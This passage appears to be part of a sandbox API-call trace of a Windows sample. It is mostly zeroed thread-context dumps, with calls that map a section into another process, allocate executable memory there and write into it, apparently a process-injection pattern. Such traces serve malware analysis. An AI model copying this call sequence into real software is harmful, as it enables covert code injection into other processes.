[230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0210.277] NtOpenFile (in: FileHandle=0x19f868, DesiredAccess=0x1, ObjectAttributes=0x3051420*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\WINDOWS\\syswow64\\msvbvm60.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x3051400, ShareAccess=0x1, OpenOptions=0x0 | out: FileHandle=0x19f868*=0x25c, IoStatusBlock=0x3051400*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0210.330] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3055004 | out: Context=0x3055004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0210.339] NtCreateSection (in: SectionHandle=0x19f864, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x1000000, FileHandle=0x25c | out: SectionHandle=0x19f864*=0x258) returned 0x0 [0210.347] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3055004 | out: Context=0x3055004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0210.355] NtMapViewOfSection (in: SectionHandle=0x258, ProcessHandle=0x254, BaseAddress=0x19f860*=0x400000, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19f85c*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19f860*=0x400000, SectionOffset=0x0, ViewSize=0x19f85c*=0x153000) returned 0x40000003 [0210.408] NtAllocateVirtualMemory (in: ProcessHandle=0x254, BaseAddress=0x19f860*=0x0, ZeroBits=0x0, RegionSize=0x19f85c*=0x100000, AllocationType=0x1000, Protect=0x40 | out: BaseAddress=0x19f860*=0x560000, RegionSize=0x19f85c*=0x100000) returned 0x0 [0210.423] NtWriteVirtualMemory (in: ProcessHandle=0x254, BaseAddress=0x560000, Buffer=0x1c0000*, NumberOfBytesToWrite=0x4000, NumberOfBytesWritten=0x19f85c | out: Buffer=0x1c0000*, NumberOfBytesWritten=0x19f85c*=0x4000) returned 0x0 [0210.500] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3055004 | out: Context=0x3055004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, 